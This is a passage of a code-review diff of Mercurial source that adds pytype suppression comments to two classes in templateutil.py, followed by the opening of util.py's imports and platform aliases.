         for path in paths:
             for location in locations:
                 mapfile = os.path.join(path, location)
                 if os.path.isfile(mapfile):
                     return style, mapfile
 
     raise RuntimeError(b"No hgweb templates found in %r" % paths)

mercurial/templateutil.py

@@ -1,1096 +1,1096 b''
 # templateutil.py - utility for template evaluation
 #
 # Copyright 2005, 2006 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import abc
 import types
 
 from .i18n import _
 from .pycompat import getattr
 from . import (
     error,
     pycompat,
     util,
 )
 from .utils import (
     dateutil,
     stringutil,
 )
 
 
 class ResourceUnavailable(error.Abort):
     pass
 
 
 class TemplateNotFound(error.Abort):
     pass
 
 
-class wrapped(object):
+class wrapped(object):  # pytype: disable=ignored-metaclass
     """Object requiring extra conversion prior to displaying or processing
     as value
 
     Use unwrapvalue() or unwrapastype() to obtain the inner object.
     """
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def contains(self, context, mapping, item):
         """Test if the specified item is in self
 
         The item argument may be a wrapped object.
         """
 
     @abc.abstractmethod
     def getmember(self, context, mapping, key):
         """Return a member item for the specified key
 
         The key argument may be a wrapped object.
         A returned object may be either a wrapped object or a pure value
         depending on the self type.
         """
 
     @abc.abstractmethod
     def getmin(self, context, mapping):
         """Return the smallest item, which may be either a wrapped or a pure
         value depending on the self type"""
 
     @abc.abstractmethod
     def getmax(self, context, mapping):
         """Return the largest item, which may be either a wrapped or a pure
         value depending on the self type"""
 
     @abc.abstractmethod
     def filter(self, context, mapping, select):
         """Return new container of the same type which includes only the
         selected elements
 
         select() takes each item as a wrapped object and returns True/False.
         """
 
     @abc.abstractmethod
     def itermaps(self, context):
         """Yield each template mapping"""
 
     @abc.abstractmethod
     def join(self, context, mapping, sep):
         """Join items with the separator; Returns a bytes or (possibly nested)
         generator of bytes
 
         A pre-configured template may be rendered per item if this container
         holds unprintable items.
         """
 
     @abc.abstractmethod
     def show(self, context, mapping):
         """Return a bytes or (possibly nested) generator of bytes representing
         the underlying object
 
         A pre-configured template may be rendered if the underlying object is
         not printable.
         """
 
     @abc.abstractmethod
     def tobool(self, context, mapping):
         """Return a boolean representation of the inner value"""
 
     @abc.abstractmethod
     def tovalue(self, context, mapping):
         """Move the inner value object out or create a value representation
 
         A returned value must be serializable by templaterfilters.json().
         """
 
 
-class mappable(object):
+class mappable(object):  # pytype: disable=ignored-metaclass
     """Object which can be converted to a single template mapping"""
 
     __metaclass__ = abc.ABCMeta
 
     def itermaps(self, context):
         yield self.tomap(context)
 
     @abc.abstractmethod
     def tomap(self, context):
         """Create a single template mapping representing this"""
 
 
 class wrappedbytes(wrapped):
     """Wrapper for byte string"""
 
     def __init__(self, value):
         self._value = value
 
     def contains(self, context, mapping, item):
         item = stringify(context, mapping, item)
         return item in self._value
 
     def getmember(self, context, mapping, key):
         raise error.ParseError(
             _(b'%r is not a dictionary') % pycompat.bytestr(self._value)
         )
 
     def getmin(self, context, mapping):
         return self._getby(context, mapping, min)
 
     def getmax(self, context, mapping):
         return self._getby(context, mapping, max)
 
     def _getby(self, context, mapping, func):
         if not self._value:
             raise error.ParseError(_(b'empty string'))
         return func(pycompat.iterbytestr(self._value))
 
     def filter(self, context, mapping, select):
         raise error.ParseError(
             _(b'%r is not filterable') % pycompat.bytestr(self._value)
         )
 
     def itermaps(self, context):
         raise error.ParseError(
             _(b'%r is not iterable of mappings') % pycompat.bytestr(self._value)
         )
 
     def join(self, context, mapping, sep):
         return joinitems(pycompat.iterbytestr(self._value), sep)
 
     def show(self, context, mapping):
         return self._value
 
     def tobool(self, context, mapping):
         return bool(self._value)
 
     def tovalue(self, context, mapping):
         return self._value
 
 
 class wrappedvalue(wrapped):
     """Generic wrapper for pure non-list/dict/bytes value"""
 
     def __init__(self, value):
         self._value = value
 
     def contains(self, context, mapping, item):
         raise error.ParseError(_(b"%r is not iterable") % self._value)
 
     def getmember(self, context, mapping, key):
         raise error.ParseError(_(b'%r is not a dictionary') % self._value)
 
     def getmin(self, context, mapping):
         raise error.ParseError(_(b"%r is not iterable") % self._value)
 
     def getmax(self, context, mapping):
         raise error.ParseError(_(b"%r is not iterable") % self._value)
 
     def filter(self, context, mapping, select):
         raise error.ParseError(_(b"%r is not iterable") % self._value)
 
     def itermaps(self, context):
         raise error.ParseError(
             _(b'%r is not iterable of mappings') % self._value
         )
 
     def join(self, context, mapping, sep):
         raise error.ParseError(_(b'%r is not iterable') % self._value)
 
     def show(self, context, mapping):
         if self._value is None:
             return b''
         return pycompat.bytestr(self._value)
 
     def tobool(self, context, mapping):
         if self._value is None:
             return False
         if isinstance(self._value, bool):
             return self._value
         # otherwise evaluate as string, which means 0 is True
         return bool(pycompat.bytestr(self._value))
 
     def tovalue(self, context, mapping):
         return self._value
 
 
 class date(mappable, wrapped):
     """Wrapper for date tuple"""
 
     def __init__(self, value, showfmt=b'%d %d'):
         # value may be (float, int), but public interface shouldn't support
         # floating-point timestamp
         self._unixtime, self._tzoffset = map(int, value)
         self._showfmt = showfmt
 
     def contains(self, context, mapping, item):
         raise error.ParseError(_(b'date is not iterable'))
 
     def getmember(self, context, mapping, key):
         raise error.ParseError(_(b'date is not a dictionary'))
 
     def getmin(self, context, mapping):
         raise error.ParseError(_(b'date is not iterable'))
 
     def getmax(self, context, mapping):
         raise error.ParseError(_(b'date is not iterable'))
 
     def filter(self, context, mapping, select):
         raise error.ParseError(_(b'date is not iterable'))
 
     def join(self, context, mapping, sep):
         raise error.ParseError(_(b"date is not iterable"))
 
     def show(self, context, mapping):
         return self._showfmt % (self._unixtime, self._tzoffset)
 
     def tomap(self, context):
         return {b'unixtime': self._unixtime, b'tzoffset': self._tzoffset}
 
     def tobool(self, context, mapping):
         return True
 
     def tovalue(self, context, mapping):
         return (self._unixtime, self._tzoffset)
 
 
 class hybrid(wrapped):
     """Wrapper for list or dict to support legacy template
 
     This class allows us to handle both:
     - "{files}" (legacy command-line-specific list hack) and
     - "{files % '{file}\n'}" (hgweb-style with inlining and function support)
     and to access raw values:
     - "{ifcontains(file, files, ...)}", "{ifcontains(key, extras, ...)}"
     - "{get(extras, key)}"
     - "{files|json}"
     """
 
     def __init__(self, gen, values, makemap, joinfmt, keytype=None):
         self._gen = gen  # generator or function returning generator
         self._values = values
         self._makemap = makemap
         self._joinfmt = joinfmt
         self._keytype = keytype  # hint for 'x in y' where type(x) is unresolved
 
     def contains(self, context, mapping, item):
         item = unwrapastype(context, mapping, item, self._keytype)
         return item in self._values
 
     def getmember(self, context, mapping, key):
         # TODO: maybe split hybrid list/dict types?
         if not util.safehasattr(self._values, b'get'):
             raise error.ParseError(_(b'not a dictionary'))
         key = unwrapastype(context, mapping, key, self._keytype)
         return self._wrapvalue(key, self._values.get(key))
 
     def getmin(self, context, mapping):
         return self._getby(context, mapping, min)
 
     def getmax(self, context, mapping):
         return self._getby(context, mapping, max)
 
     def _getby(self, context, mapping, func):
         if not self._values:
             raise error.ParseError(_(b'empty sequence'))
         val = func(self._values)
         return self._wrapvalue(val, val)
 
     def _wrapvalue(self, key, val):
         if val is None:
             return
         if util.safehasattr(val, b'_makemap'):
             # a nested hybrid list/dict, which has its own way of map operation
             return val
         return hybriditem(None, key, val, self._makemap)
 
     def filter(self, context, mapping, select):
         if util.safehasattr(self._values, b'get'):
             values = {
                 k: v
                 for k, v in pycompat.iteritems(self._values)
                 if select(self._wrapvalue(k, v))
             }
         else:
             values = [v for v in self._values if select(self._wrapvalue(v, v))]
         return hybrid(None, values, self._makemap, self._joinfmt, self._keytype)
 
     def itermaps(self, context):
         makemap = self._makemap
         for x in self._values:
             yield makemap(x)
 
     def join(self, context, mapping, sep):
         # TODO: switch gen to (context, mapping) API?
         return joinitems((self._joinfmt(x) for x in self._values), sep)
 
     def show(self, context, mapping):
         # TODO: switch gen to (context, mapping) API?
         gen = self._gen
         if gen is None:
             return self.join(context, mapping, b' ')
         if callable(gen):
             return gen()
         return gen
 
     def tobool(self, context, mapping):
         return bool(self._values)
 
     def tovalue(self, context, mapping):
         # TODO: make it non-recursive for trivial lists/dicts
         xs = self._values
         if util.safehasattr(xs, b'get'):
             return {
                 k: unwrapvalue(context, mapping, v)
                 for k, v in pycompat.iteritems(xs)
             }
         return [unwrapvalue(context, mapping, x) for x in xs]
 
 
 class hybriditem(mappable, wrapped):
     """Wrapper for non-list/dict object to support map operation
 
     This class allows us to handle both:
     - "{manifest}"
     - "{manifest % '{rev}:{node}'}"
     - "{manifest.rev}"
     """
 
     def __init__(self, gen, key, value, makemap):
         self._gen = gen  # generator or function returning generator
         self._key = key
         self._value = value  # may be generator of strings
         self._makemap = makemap
 
     def tomap(self, context):
         return self._makemap(self._key)
 
     def contains(self, context, mapping, item):
         w = makewrapped(context, mapping, self._value)
         return w.contains(context, mapping, item)
 
     def getmember(self, context, mapping, key):
         w = makewrapped(context, mapping, self._value)
         return w.getmember(context, mapping, key)
 
     def getmin(self, context, mapping):
         w = makewrapped(context, mapping, self._value)
         return w.getmin(context, mapping)
 
     def getmax(self, context, mapping):
         w = makewrapped(context, mapping, self._value)
         return w.getmax(context, mapping)
 
     def filter(self, context, mapping, select):
         w = makewrapped(context, mapping, self._value)
         return w.filter(context, mapping, select)
 
     def join(self, context, mapping, sep):
         w = makewrapped(context, mapping, self._value)
         return w.join(context, mapping, sep)
 
     def show(self, context, mapping):
         # TODO: switch gen to (context, mapping) API?
         gen = self._gen
         if gen is None:
             return pycompat.bytestr(self._value)
         if callable(gen):
             return gen()
         return gen
 
     def tobool(self, context, mapping):
         w = makewrapped(context, mapping, self._value)
         return w.tobool(context, mapping)
 
     def tovalue(self, context, mapping):
         return _unthunk(context, mapping, self._value)
 
 
 class _mappingsequence(wrapped):
     """Wrapper for sequence of template mappings
 
     This represents an inner template structure (i.e. a list of dicts),
     which can also be rendered by the specified named/literal template.
 
     Template mappings may be nested.
     """
 
     def __init__(self, name=None, tmpl=None, sep=b''):
         if name is not None and tmpl is not None:
             raise error.ProgrammingError(
                 b'name and tmpl are mutually exclusive'
             )
         self._name = name
         self._tmpl = tmpl
         self._defaultsep = sep
 
     def contains(self, context, mapping, item):
         raise error.ParseError(_(b'not comparable'))
 
     def getmember(self, context, mapping, key):
         raise error.ParseError(_(b'not a dictionary'))
 
     def getmin(self, context, mapping):
         raise error.ParseError(_(b'not comparable'))
 
     def getmax(self, context, mapping):
         raise error.ParseError(_(b'not comparable'))
 
     def filter(self, context, mapping, select):
         # implement if necessary; we'll need a wrapped type for a mapping dict
         raise error.ParseError(_(b'not filterable without template'))
 
     def join(self, context, mapping, sep):
         mapsiter = _iteroverlaymaps(context, mapping, self.itermaps(context))
         if self._name:
             itemiter = (context.process(self._name, m) for m in mapsiter)
         elif self._tmpl:
             itemiter = (context.expand(self._tmpl, m) for m in mapsiter)
         else:
             raise error.ParseError(_(b'not displayable without template'))
         return joinitems(itemiter, sep)
 
     def show(self, context, mapping):
         return self.join(context, mapping, self._defaultsep)
 
     def tovalue(self, context, mapping):
         knownres = context.knownresourcekeys()
         items = []
         for nm in self.itermaps(context):
             # drop internal resources (recursively) which shouldn't be displayed
             lm = context.overlaymap(mapping, nm)
             items.append(
                 {
                     k: unwrapvalue(context, lm, v)
                     for k, v in pycompat.iteritems(nm)
                     if k not in knownres
                 }
             )
         return items
 
 
 class mappinggenerator(_mappingsequence):
     """Wrapper for generator of template mappings
 
     The function ``make(context, *args)`` should return a generator of
     mapping dicts.
     """
 
     def __init__(self, make, args=(), name=None, tmpl=None, sep=b''):
         super(mappinggenerator, self).__init__(name, tmpl, sep)
         self._make = make
         self._args = args
 
     def itermaps(self, context):
         return self._make(context, *self._args)
 
     def tobool(self, context, mapping):
         return _nonempty(self.itermaps(context))
 
 
 class mappinglist(_mappingsequence):
     """Wrapper for list of template mappings"""
 
     def __init__(self, mappings, name=None, tmpl=None, sep=b''):
         super(mappinglist, self).__init__(name, tmpl, sep)
         self._mappings = mappings
 
     def itermaps(self, context):
         return iter(self._mappings)
 
     def tobool(self, context, mapping):
         return bool(self._mappings)
 
 
 class mappingdict(mappable, _mappingsequence):
     """Wrapper for a single template mapping
 
     This isn't a sequence in a way that the underlying dict won't be iterated
     as a dict, but shares most of the _mappingsequence functions.
     """
 
     def __init__(self, mapping, name=None, tmpl=None):
         super(mappingdict, self).__init__(name, tmpl)
         self._mapping = mapping
 
     def tomap(self, context):
         return self._mapping
 
     def tobool(self, context, mapping):
         # no idea when a template mapping should be considered an empty, but
         # a mapping dict should have at least one item in practice, so always
         # mark this as non-empty.
         return True
 
     def tovalue(self, context, mapping):
         return super(mappingdict, self).tovalue(context, mapping)[0]
 
 
 class mappingnone(wrappedvalue):
     """Wrapper for None, but supports map operation
 
     This represents None of Optional[mappable]. It's similar to
     mapplinglist([]), but the underlying value is not [], but None.
     """
 
     def __init__(self):
         super(mappingnone, self).__init__(None)
 
     def itermaps(self, context):
         return iter([])
 
 
 class mappedgenerator(wrapped):
     """Wrapper for generator of strings which acts as a list
 
     The function ``make(context, *args)`` should return a generator of
     byte strings, or a generator of (possibly nested) generators of byte
     strings (i.e. a generator for a list of byte strings.)
     """
 
     def __init__(self, make, args=()):
         self._make = make
         self._args = args
 
     def contains(self, context, mapping, item):
         item = stringify(context, mapping, item)
         return item in self.tovalue(context, mapping)
 
     def _gen(self, context):
         return self._make(context, *self._args)
 
     def getmember(self, context, mapping, key):
         raise error.ParseError(_(b'not a dictionary'))
 
     def getmin(self, context, mapping):
         return self._getby(context, mapping, min)
 
     def getmax(self, context, mapping):
         return self._getby(context, mapping, max)
 
     def _getby(self, context, mapping, func):
         xs = self.tovalue(context, mapping)
         if not xs:
             raise error.ParseError(_(b'empty sequence'))
         return func(xs)
 
     @staticmethod
     def _filteredgen(context, mapping, make, args, select):
         for x in make(context, *args):
             s = stringify(context, mapping, x)
             if select(wrappedbytes(s)):
                 yield s
 
     def filter(self, context, mapping, select):
         args = (mapping, self._make, self._args, select)
         return mappedgenerator(self._filteredgen, args)
 
     def itermaps(self, context):
         raise error.ParseError(_(b'list of strings is not mappable'))
 
     def join(self, context, mapping, sep):
         return joinitems(self._gen(context), sep)
 
     def show(self, context, mapping):
         return self.join(context, mapping, b'')
 
     def tobool(self, context, mapping):
         return _nonempty(self._gen(context))
 
     def tovalue(self, context, mapping):
         return [stringify(context, mapping, x) for x in self._gen(context)]
 
 
 def hybriddict(data, key=b'key', value=b'value', fmt=None, gen=None):
     """Wrap data to support both dict-like and string-like operations"""
     prefmt = pycompat.identity
     if fmt is None:
         fmt = b'%s=%s'
         prefmt = pycompat.bytestr
     return hybrid(
         gen,
         data,
         lambda k: {key: k, value: data[k]},
         lambda k: fmt % (prefmt(k), prefmt(data[k])),
     )
 
 
 def hybridlist(data, name, fmt=None, gen=None):
     """Wrap data to support both list-like and string-like operations"""
     prefmt = pycompat.identity
     if fmt is None:
         fmt = b'%s'
         prefmt = pycompat.bytestr
     return hybrid(gen, data, lambda x: {name: x}, lambda x: fmt % prefmt(x))
 
 
 def compatdict(
     context,
     mapping,
     name,
     data,
     key=b'key',
     value=b'value',
     fmt=None,
     plural=None,
     separator=b' ',
 ):
     """Wrap data like hybriddict(), but also supports old-style list template
 
     This exists for backward compatibility with the old-style template. Use
     hybriddict() for new template keywords.
     """
     c = [{key: k, value: v} for k, v in pycompat.iteritems(data)]
     f = _showcompatlist(context, mapping, name, c, plural, separator)
     return hybriddict(data, key=key, value=value, fmt=fmt, gen=f)
 
 
 def compatlist(
     context,
     mapping,
     name,
     data,
     element=None,
     fmt=None,
     plural=None,
     separator=b' ',
 ):
     """Wrap data like hybridlist(), but also supports old-style list template
 
     This exists for backward compatibility with the old-style template. Use
     hybridlist() for new template keywords.
     """
     f = _showcompatlist(context, mapping, name, data, plural, separator)
     return hybridlist(data, name=element or name, fmt=fmt, gen=f)
 
 
 def compatfilecopiesdict(context, mapping, name, copies):
     """Wrap list of (dest, source) file names to support old-style list
     template and field names
 
     This exists for backward compatibility. Use hybriddict for new template
     keywords.
     """
     # no need to provide {path} to old-style list template
     c = [{b'name': k, b'source': v} for k, v in copies]
     f = _showcompatlist(context, mapping, name, c, plural=b'file_copies')
     copies = util.sortdict(copies)
     return hybrid(
         f,
         copies,
         lambda k: {b'name': k, b'path': k, b'source': copies[k]},
         lambda k: b'%s (%s)' % (k, copies[k]),
     )
 
 
 def compatfileslist(context, mapping, name, files):
     """Wrap list of file names to support old-style list template and field
     names
 
     This exists for backward compatibility. Use hybridlist for new template
     keywords.
     """
     f = _showcompatlist(context, mapping, name, files)
     return hybrid(
         f, files, lambda x: {b'file': x, b'path': x}, pycompat.identity
     )
 
 
 def _showcompatlist(
     context, mapping, name, values, plural=None, separator=b' '
 ):
     """Return a generator that renders old-style list template
 
     name is name of key in template map.
     values is list of strings or dicts.
     plural is plural of name, if not simply name + 's'.
     separator is used to join values as a string
 
     expansion works like this, given name 'foo'.
 
     if values is empty, expand 'no_foos'.
 
     if 'foo' not in template map, return values as a string,
     joined by 'separator'.
 
     expand 'start_foos'.
 
     for each value, expand 'foo'. if 'last_foo' in template
     map, expand it instead of 'foo' for last key.
 
     expand 'end_foos'.
     """
     if not plural:
         plural = name + b's'
     if not values:
         noname = b'no_' + plural
         if context.preload(noname):
             yield context.process(noname, mapping)
         return
     if not context.preload(name):
         if isinstance(values[0], bytes):
             yield separator.join(values)
         else:
             for v in values:
                 r = dict(v)
                 r.update(mapping)
                 yield r
         return
     startname = b'start_' + plural
     if context.preload(startname):
         yield context.process(startname, mapping)
 
     def one(v, tag=name):
         vmapping = {}
         try:
             vmapping.update(v)
         # Python 2 raises ValueError if the type of v is wrong. Python
         # 3 raises TypeError.
         except (AttributeError, TypeError, ValueError):
             try:
                 # Python 2 raises ValueError trying to destructure an e.g.
                 # bytes. Python 3 raises TypeError.
                 for a, b in v:
                     vmapping[a] = b
             except (TypeError, ValueError):
                 vmapping[name] = v
         vmapping = context.overlaymap(mapping, vmapping)
         return context.process(tag, vmapping)
 
     lastname = b'last_' + name
     if context.preload(lastname):
         last = values.pop()
     else:
         last = None
     for v in values:
         yield one(v)
     if last is not None:
         yield one(last, tag=lastname)
     endname = b'end_' + plural
     if context.preload(endname):
         yield context.process(endname, mapping)
 
 
 def flatten(context, mapping, thing):
     """Yield a single stream from a possibly nested set of iterators"""
     if isinstance(thing, wrapped):
         thing = thing.show(context, mapping)
     if isinstance(thing, bytes):
         yield thing
     elif isinstance(thing, str):
         # We can only hit this on Python 3, and it's here to guard
         # against infinite recursion.
         raise error.ProgrammingError(
             b'Mercurial IO including templates is done'
             b' with bytes, not strings, got %r' % thing
         )
     elif thing is None:
         pass
     elif not util.safehasattr(thing, b'__iter__'):
         yield pycompat.bytestr(thing)
     else:
         for i in thing:
             if isinstance(i, wrapped):
                 i = i.show(context, mapping)
             if isinstance(i, bytes):
                 yield i
             elif i is None:
                 pass
             elif not util.safehasattr(i, b'__iter__'):
                 yield pycompat.bytestr(i)
             else:
                 for j in flatten(context, mapping, i):
                     yield j
 
 
 def stringify(context, mapping, thing):
     """Turn values into bytes by converting into text and concatenating them"""
     if isinstance(thing, bytes):
         return thing  # retain localstr to be round-tripped
     return b''.join(flatten(context, mapping, thing))
 
 
 def findsymbolicname(arg):
     """Find symbolic name for the given compiled expression; returns None
     if nothing found reliably"""
     while True:
         func, data = arg
         if func is runsymbol:
             return data
         elif func is runfilter:
             arg = data[0]
         else:
             return None
 
 
 def _nonempty(xiter):
     try:
         next(xiter)
         return True
     except StopIteration:
         return False
 
 
 def _unthunk(context, mapping, thing):
     """Evaluate a lazy byte string into value"""
     if not isinstance(thing, types.GeneratorType):
         return thing
     return stringify(context, mapping, thing)
 
 
 def evalrawexp(context, mapping, arg):
     """Evaluate given argument as a bare template object which may require
     further processing (such as folding generator of strings)"""
     func, data = arg
     return func(context, mapping, data)
 
 
 def evalwrapped(context, mapping, arg):
     """Evaluate given argument to wrapped object"""
     thing = evalrawexp(context, mapping, arg)
     return makewrapped(context, mapping, thing)
 
 
 def makewrapped(context, mapping, thing):
     """Lift object to a wrapped type"""
     if isinstance(thing, wrapped):
         return thing
     thing = _unthunk(context, mapping, thing)
     if isinstance(thing, bytes):
         return wrappedbytes(thing)
     return wrappedvalue(thing)
 
 
 def evalfuncarg(context, mapping, arg):
     """Evaluate given argument as value type"""
     return unwrapvalue(context, mapping, evalrawexp(context, mapping, arg))
 
 
 def unwrapvalue(context, mapping, thing):
     """Move the inner value object out of the wrapper"""
     if isinstance(thing, wrapped):
         return thing.tovalue(context, mapping)
     # evalrawexp() may return string, generator of strings or arbitrary object
     # such as date tuple, but filter does not want generator.
     return _unthunk(context, mapping, thing)
 
 
 def evalboolean(context, mapping, arg):
     """Evaluate given argument as boolean, but also takes boolean literals"""
     func, data = arg
     if func is runsymbol:
         thing = func(context, mapping, data, default=None)
         if thing is None:
             # not a template keyword, takes as a boolean literal
             thing = stringutil.parsebool(data)
     else:
         thing = func(context, mapping, data)
     return makewrapped(context, mapping, thing).tobool(context, mapping)
 
 
 def evaldate(context, mapping, arg, err=None):
     """Evaluate given argument as a date tuple or a date string; returns
     a (unixtime, offset) tuple"""
     thing = evalrawexp(context, mapping, arg)
     return unwrapdate(context, mapping, thing, err)
 
 
 def unwrapdate(context, mapping, thing, err=None):
     if isinstance(thing, date):
         return thing.tovalue(context, mapping)
     # TODO: update hgweb to not return bare tuple; then just stringify 'thing'
     thing = unwrapvalue(context, mapping, thing)
     try:
         return dateutil.parsedate(thing)
     except AttributeError:
         raise error.ParseError(err or _(b'not a date tuple nor a string'))
     except error.ParseError:
         if not err:
             raise
         raise error.ParseError(err)
 
 
 def evalinteger(context, mapping, arg, err=None):
     thing = evalrawexp(context, mapping, arg)
     return unwrapinteger(context, mapping, thing, err)
 
 
 def unwrapinteger(context, mapping, thing, err=None):
     thing = unwrapvalue(context, mapping, thing)
     try:
         return int(thing)
     except (TypeError, ValueError):
         raise error.ParseError(err or _(b'not an integer'))
 
 
 def evalstring(context, mapping, arg):
     return stringify(context, mapping, evalrawexp(context, mapping, arg))
 
 
 def evalstringliteral(context, mapping, arg):
     """Evaluate given argument as string template, but returns symbol name
     if it is unknown"""
     func, data = arg
     if func is runsymbol:
         thing = func(context, mapping, data, default=data)
     else:
         thing = func(context, mapping, data)
     return stringify(context, mapping, thing)
 
 
 _unwrapfuncbytype = {
     None: unwrapvalue,
     bytes: stringify,
     date: unwrapdate,
     int: unwrapinteger,
 }
 
 
 def unwrapastype(context, mapping, thing, typ):
     """Move the inner value object out of the wrapper and coerce its type"""
     try:
         f = _unwrapfuncbytype[typ]
     except KeyError:
         raise error.ProgrammingError(b'invalid type specified: %r' % typ)
     return f(context, mapping, thing)
 
 
 def runinteger(context, mapping, data):
     return int(data)
 
 
 def runstring(context, mapping, data):
     return data
 
 
 def _recursivesymbolblocker(key):
     def showrecursion(context, mapping):
         raise error.Abort(_(b"recursive reference '%s' in template") % key)
 
     return showrecursion
 
 
 def runsymbol(context, mapping, key, default=b''):
     v = context.symbol(mapping, key)
     if v is None:
         # put poison to cut recursion. we can't move this to parsing phase
         # because "x = {x}" is allowed if "x" is a keyword. (issue4758)
         safemapping = mapping.copy()
         safemapping[key] = _recursivesymbolblocker(key)
         try:
             v = context.process(key, safemapping)
         except TemplateNotFound:
             v = default
     if callable(v):
         # new templatekw
         try:
             return v(context, mapping)
         except ResourceUnavailable:
             # unsupported keyword is mapped to empty just like unknown keyword
             return None
     return v
 
 
 def runtemplate(context, mapping, template):
     for arg in template:
         yield evalrawexp(context, mapping, arg)
 
 
 def runfilter(context, mapping, data):
     arg, filt = data
     thing = evalrawexp(context, mapping, arg)
     intype = getattr(filt, '_intype', None)
     try:
         thing = unwrapastype(context, mapping, thing, intype)
         return filt(thing)
     except error.ParseError as e:
         raise error.ParseError(bytes(e), hint=_formatfiltererror(arg, filt))
 
 
 def _formatfiltererror(arg, filt):
     fn = pycompat.sysbytes(filt.__name__)
     sym = findsymbolicname(arg)
     if not sym:
         return _(b"incompatible use of template filter '%s'") % fn
     return _(b"template filter '%s' is not compatible with keyword '%s'") % (
         fn,
         sym,
     )
 
 
 def _iteroverlaymaps(context, origmapping, newmappings):
     """Generate combined mappings from the original mapping and an iterable
     of partial mappings to override the original"""
     for i, nm in enumerate(newmappings):
         lm = context.overlaymap(origmapping, nm)
         lm[b'index'] = i
         yield lm
 
 
 def _applymap(context, mapping, d, darg, targ):
     try:
         diter = d.itermaps(context)
     except error.ParseError as err:
         sym = findsymbolicname(darg)
         if not sym:
             raise
         hint = _(b"keyword '%s' does not support map operation") % sym
         raise error.ParseError(bytes(err), hint=hint)
     for lm in _iteroverlaymaps(context, mapping, diter):
         yield evalrawexp(context, lm, targ)
 
 
 def runmap(context, mapping, data):
     darg, targ = data
     d = evalwrapped(context, mapping, darg)
     return mappedgenerator(_applymap, args=(mapping, d, darg, targ))
 
 
 def runmember(context, mapping, data):
     darg, memb = data
     d = evalwrapped(context, mapping, darg)
     if isinstance(d, mappable):
         lm = context.overlaymap(mapping, d.tomap(context))
         return runsymbol(context, lm, memb)
     try:
         return d.getmember(context, mapping, memb)
     except error.ParseError as err:
         sym = findsymbolicname(darg)
         if not sym:
             raise
         hint = _(b"keyword '%s' does not support member operation") % sym
         raise error.ParseError(bytes(err), hint=hint)
 
 
 def runnegate(context, mapping, data):
     data = evalinteger(
         context, mapping, data, _(b'negation needs an integer argument')
     )
     return -data
 
 
 def runarithmetic(context, mapping, data):
     func, left, right = data
     left = evalinteger(
         context, mapping, left, _(b'arithmetic only defined on integers')
     )
     right = evalinteger(
         context, mapping, right, _(b'arithmetic only defined on integers')
     )
     try:
         return func(left, right)
     except ZeroDivisionError:
         raise error.Abort(_(b'division by zero is not defined'))
 
 
 def joinitems(itemiter, sep):
     """Join items with the separator; Returns generator of bytes"""
     first = True
     for x in itemiter:
         if first:
             first = False
         elif sep:
             yield sep
         yield x

mercurial/util.py

@@ -1,3660 +1,3660 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import attr
 from .pycompat import (
     delattr,
     getattr,
     open,
     setattr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
     procutil,
     stringutil,
 )
 
 rustdirs = policy.importrust(r'dirstate', r'Dirs')
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
